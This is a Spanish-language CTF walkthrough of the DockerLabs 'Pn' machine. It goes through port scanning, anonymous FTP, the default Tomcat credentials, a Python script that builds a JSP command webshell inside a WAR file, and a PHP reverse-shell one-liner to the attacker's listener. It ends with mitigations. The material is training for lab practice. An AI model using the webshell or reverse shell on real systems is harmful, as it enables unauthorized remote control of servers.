Skip to content

Pn

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina Pn, desarrollada por El Pingüino de Mario y clasificada como fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía clara, trazable y técnicamente fundamentada, donde cada acción se justifica y se conecta con fallos de seguridad reales que pueden encontrarse en entornos productivos.

El flujo metodológico está organizado en tres fases:

  1. Reconocimiento: identificación de servicios expuestos, puertos abiertos y posibles vectores de ataque.
  2. Explotación: abuso de configuraciones inseguras en FTP y Tomcat para lograr ejecución remota de comandos.
  3. Escalada de privilegios: obtención de acceso ROOT mediante ejecución de payloads desde servicios mal configurados.

Todas las pruebas se realizaron exclusivamente en el entorno controlado de DockerLabs.


AtributoValor
NombrePn
AutorEl Pingüino de Mario
DificultadFácil
Fecha de creación02/04/2024
PlataformaDockerLabs

Descomprimir la máquina:

Ventana de terminal
unzip Pn.zip

Desplegar el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh Pn.tar

El script mostrará la IP asignada, que se utilizará en las fases siguientes.

IP asignada


Ventana de terminal
mkdir -p Pn/{content,exploits,nmap,gobuster,scripts}
cd Pn

Mantener la estructura organizada facilita la documentación y la trazabilidad de cada acción.


Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos relevantes identificados:

  • 21/tcp → FTP con acceso anónimo
  • 8080/tcp → Apache Tomcat

Puertos abiertos


Ventana de terminal
nmap -sCV -p21,8080 -oN targeted

open services

El análisis confirma:

  • FTP permite ftp-anon, lo cual habilita acceso sin credenciales.
  • Tomcat está activo en el puerto 8080.

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

No se encontraron rutas interesantes. El index corresponde al panel por defecto de Apache Tomcat.

tomcat index


El acceso anónimo está activado:

Ventana de terminal
ftp 172.17.0.2

Ingresar como:

user: anonymous
password: [vacío]

Dentro del servidor, aparece un archivo:

tomcat.txt

content of tomcat.txt

Este archivo sugiere que el usuario de Tomcat podría llamarse tomcat, por lo que falta identificar su contraseña.


Probando contraseñas comunes del diccionario de Tomcat:

tomcat dictionary

La combinación válida encontrada es:

tomcat : s3cr3t

Estas credenciales permiten ingresar al Manager App de Tomcat:

view of dashboard


Tomcat permite desplegar aplicaciones mediante archivos .war. Se genera un archivo shell.war con una webshell en JSP:

#!/usr/bin/env python3
import os
import zipfile
webshell_content = '''<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
out.println(line);
}
}
%>
<form method="post">
CMD: <input type="text" name="cmd" size="50">
<input type="submit" value="Execute">
</form>'''
with zipfile.ZipFile('shell.war', 'w') as war_file:
war_file.writestr('shell.jsp', webshell_content)
war_file.writestr('WEB-INF/web.xml', '''<?xml version="1.0"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="2.5">
</web-app>''')

Al ejecutar:

Ventana de terminal
python3 script.py

se obtiene el archivo shell.war, que luego se sube desde el panel:

test webshell with id

La webshell responde correctamente al comando id.


Primero se abre un listener en la máquina atacante:

Ventana de terminal
nc -nlvp 443

Desde la webshell se ejecuta:

Ventana de terminal
php -r '$sock=fsockopen("172.17.0.1",443);system("bash <&3 >&3 2>&3");'

Se obtiene acceso interactivo:

root

Acceso ROOT conseguido.


Tipo de vulnerabilidadDescripción breveImpacto
FTP anónimo habilitadoAcceso al servicio sin credenciales, permitiendo lectura de archivos sensibles.Medio
Credenciales débiles en TomcatUso de contraseñas por defecto ampliamente conocidas.Alto
Panel Manager de Tomcat expuestoAcceso directo a la consola administrativa sin restricciones adicionales.Crítico
Carga de archivos WAR no controladaPermite desplegar aplicaciones maliciosas y ejecutar código arbitrario.Crítico
Configuración insegura del servidorFalta de segmentación y privilegios mínimos en servicios.Alto

  1. Deshabilitar ftp-anon y usar FTPS o SFTP.
  2. Modificar credenciales predeterminadas de Tomcat, implementar MFA o restringir acceso por ACL.
  3. Deshabilitar el panel Manager en entornos productivos, o limitarlo estrictamente por firewall.
  4. Validar y restringir la carga de archivos WAR solo a administradores confiables.
  5. Aplicar el principio de privilegios mínimos en todos los servicios.
  6. Segmentar la red interna, evitando exposición innecesaria de servicios a otras interfaces.